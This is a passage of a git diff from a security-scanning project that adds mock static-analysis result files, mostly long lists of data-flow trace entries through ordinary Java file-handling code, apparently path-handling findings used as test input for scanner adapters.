+`mockdata_setup.json to` defines the different combinations for +the mock adapters. It refers to target uris and dedicated result files. + +__Attention:__ The json file is generated by `MockSetupGeneratorApplication.java`. If you want to change content please change java file and start it! \ No newline at end of file diff --git a/sechub-other/mockdata/checkmarx-mockdata-empty.xml b/sechub-other/mockdata/checkmarx-mockdata-empty.xml new file mode 100644 index 0000000000..bd9a07196e --- /dev/null +++ b/sechub-other/mockdata/checkmarx-mockdata-empty.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/sechub-other/mockdata/checkmarx-mockdata-multiple.xml b/sechub-other/mockdata/checkmarx-mockdata-multiple.xml new file mode 100644 index 0000000000..ebc339bcb4 --- /dev/null +++ b/sechub-other/mockdata/checkmarx-mockdata-multiple.xml @@ -0,0 +1,17171 @@ + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 28 + 35 + 1 + args + + 4 + + + 28 + public static void main(String[] args) throws Exception { + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 33 + 17 + 2 + args + + 4 + + + 33 + String path = args[0]; + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 33 + 10 + 3 + path + + 4 + + + 33 + String path = args[0]; + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 38 + 4 + path + + 4 + + + 34 + File documentsGenFolder = new File(path); + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 29 + 5 + File + + 3 + + + 34 + File documentsGenFolder = new File(path); + + + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 23 + 1 + File + + 3 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 8 + 2 + secHubServer + + 12 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 272 + 8 + 3 + secHubServer + + 12 + + + 272 + if (!secHubServer.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 23 + 4 + secHubServer + + 12 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 5 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 6 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 7 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 22 + 8 + assertExists + + 1 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 56 + 9 + ensureSecHubServerFolder + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 10 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 11 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 12 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 13 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 54 + 14 + ensureKubernetesFolder + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 15 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 16 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 17 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 18 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 19 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 20 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 21 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 22 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 23 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 24 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 25 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 26 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 27 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 28 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 29 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 30 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 31 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 32 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 33 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 34 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 35 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 23 + 1 + File + + 3 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 8 + 2 + secHubServer + + 12 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 272 + 8 + 3 + secHubServer + + 12 + + + 272 + if (!secHubServer.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 23 + 4 + secHubServer + + 12 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 5 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 6 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 7 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 22 + 8 + assertExists + + 1 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 56 + 9 + ensureSecHubServerFolder + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 10 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 11 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 12 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 13 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 54 + 14 + ensureKubernetesFolder + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 15 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 16 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 17 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 22 + 18 + assertExists + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 72 + 19 + ensureKubernetesGenFolder + + 1 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 20 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 21 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 22 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 23 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 24 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 25 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 26 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 27 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 28 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 29 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 19 + 1 + File + + 3 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 4 + 2 + secHubServer + + 12 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 23 + 3 + secHubServer + + 12 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 4 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 5 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 6 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 22 + 7 + assertExists + + 1 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 56 + 8 + ensureSecHubServerFolder + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 9 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 10 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 11 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 12 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 54 + 13 + ensureKubernetesFolder + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 14 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 15 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 16 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 17 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 18 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 19 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 20 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 21 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 22 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 23 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 24 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 25 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 26 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 27 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 28 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 29 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 30 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 31 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 32 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 33 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 34 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 19 + 1 + File + + 3 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 4 + 2 + secHubServer + + 12 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 23 + 3 + secHubServer + + 12 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 4 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 5 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 6 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 276 + 22 + 7 + assertExists + + 1 + + + 276 + return assertExists(secHubServer); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 56 + 8 + ensureSecHubServerFolder + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 9 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 10 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 11 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 12 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 54 + 13 + ensureKubernetesFolder + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 14 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 15 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 16 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 267 + 22 + 17 + assertExists + + 1 + + + 267 + return assertExists(new File(ensureKubernetesFolder(), "gen/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 72 + 18 + ensureKubernetesGenFolder + + 1 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 59 + 8 + 19 + generatedDeploymentFilePart + + 27 + + + 59 + File generatedDeploymentFilePart = new File(ensureKubernetesGenFolder(), + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 61 + 15 + 20 + generatedDeploymentFilePart + + 27 + + + 61 + writer.save(generatedDeploymentFilePart, result.serverDeploymentYaml); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 15 + 24 + 21 + targetFile + + 10 + + + 15 + public void save(File targetFile, String text) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 16 + 8 + 22 + targetFile + + 10 + + + 16 + save(targetFile,text,true); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 18 + 24 + 23 + targetFile + + 10 + + + 18 + public void save(File targetFile, String text, boolean overwrite) throws IOException { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 22 + 7 + 24 + targetFile + + 10 + + + 22 + if (targetFile.exists() && overwrite) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 29 + 8 + 25 + targetFile + + 10 + + + 29 + if (!targetFile.exists()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 30 + 22 + 26 + targetFile + + 10 + + + 30 + File parentFile = targetFile.getParentFile(); + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 9 + 27 + targetFile + + 10 + + + 34 + if (!targetFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 28 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 23 + 1 + File + + 3 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 3 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 4 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 22 + 5 + assertExists + + 1 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 54 + 6 + ensureKubernetesFolder + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 7 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 8 + 8 + folder + + 6 + + + 284 + if (!folder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 287 + 10 + 9 + folder + + 6 + + + 287 + return folder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 263 + 22 + 10 + assertExists + + 1 + + + 263 + return assertExists(new File(ensureKubernetesFolder(), "secret/")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 51 + 11 + ensureSecretFolder + + 1 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 154 + 8 + 12 + kubernetesSecretFolder + + 22 + + + 154 + File kubernetesSecretFolder = ensureSecretFolder(); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 29 + 13 + kubernetesSecretFolder + + 22 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 156 + 8 + 14 + envFolder + + 9 + + + 156 + File envFolder = new File(kubernetesSecretFolder, e.folderName()); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 8 + 15 + envFolder + + 9 + + + 157 + if (!envFolder.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 161 + 10 + 16 + envFolder + + 9 + + + 161 + return envFolder; + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 35 + 17 + ensureEnvFolder + + 1 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 149 + 8 + 18 + envFolder + + 9 + + + 149 + File envFolder = ensureEnvFolder(e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 150 + 43 + 19 + envFolder + + 9 + + + 150 + createSecretShellScriptAndFiles(result, envFolder, e); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 164 + 76 + 20 + targetFolder + + 12 + + + 164 + private void createSecretShellScriptAndFiles(KubernetesFiles result, File targetFolder, KubernetesEnvironment e) + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 192 + 22 + 21 + targetFolder + + 12 + + + 192 + ensureSecretFile(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 249 + 37 + 22 + targetFolder + + 12 + + + 249 + private void ensureSecretFile(File targetFolder, String fileName) throws IOException { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 30 + 23 + targetFolder + + 12 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 250 + 8 + 24 + secretFile + + 10 + + + 250 + File secretFile = new File(targetFolder, fileName); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 251 + 8 + 25 + secretFile + + 10 + + + 251 + if (!secretFile.exists()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 9 + 26 + secretFile + + 10 + + + 252 + if (!secretFile.createNewFile()) { + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 27 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 280 + 23 + 1 + File + + 3 + + + 280 + return assertExists(new File(ensureSecHubServerFolder(), "kubernetes")); + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 283 + 33 + 2 + folder + + 6 + + + 283 + private File assertExists(File folder) { + + + + + 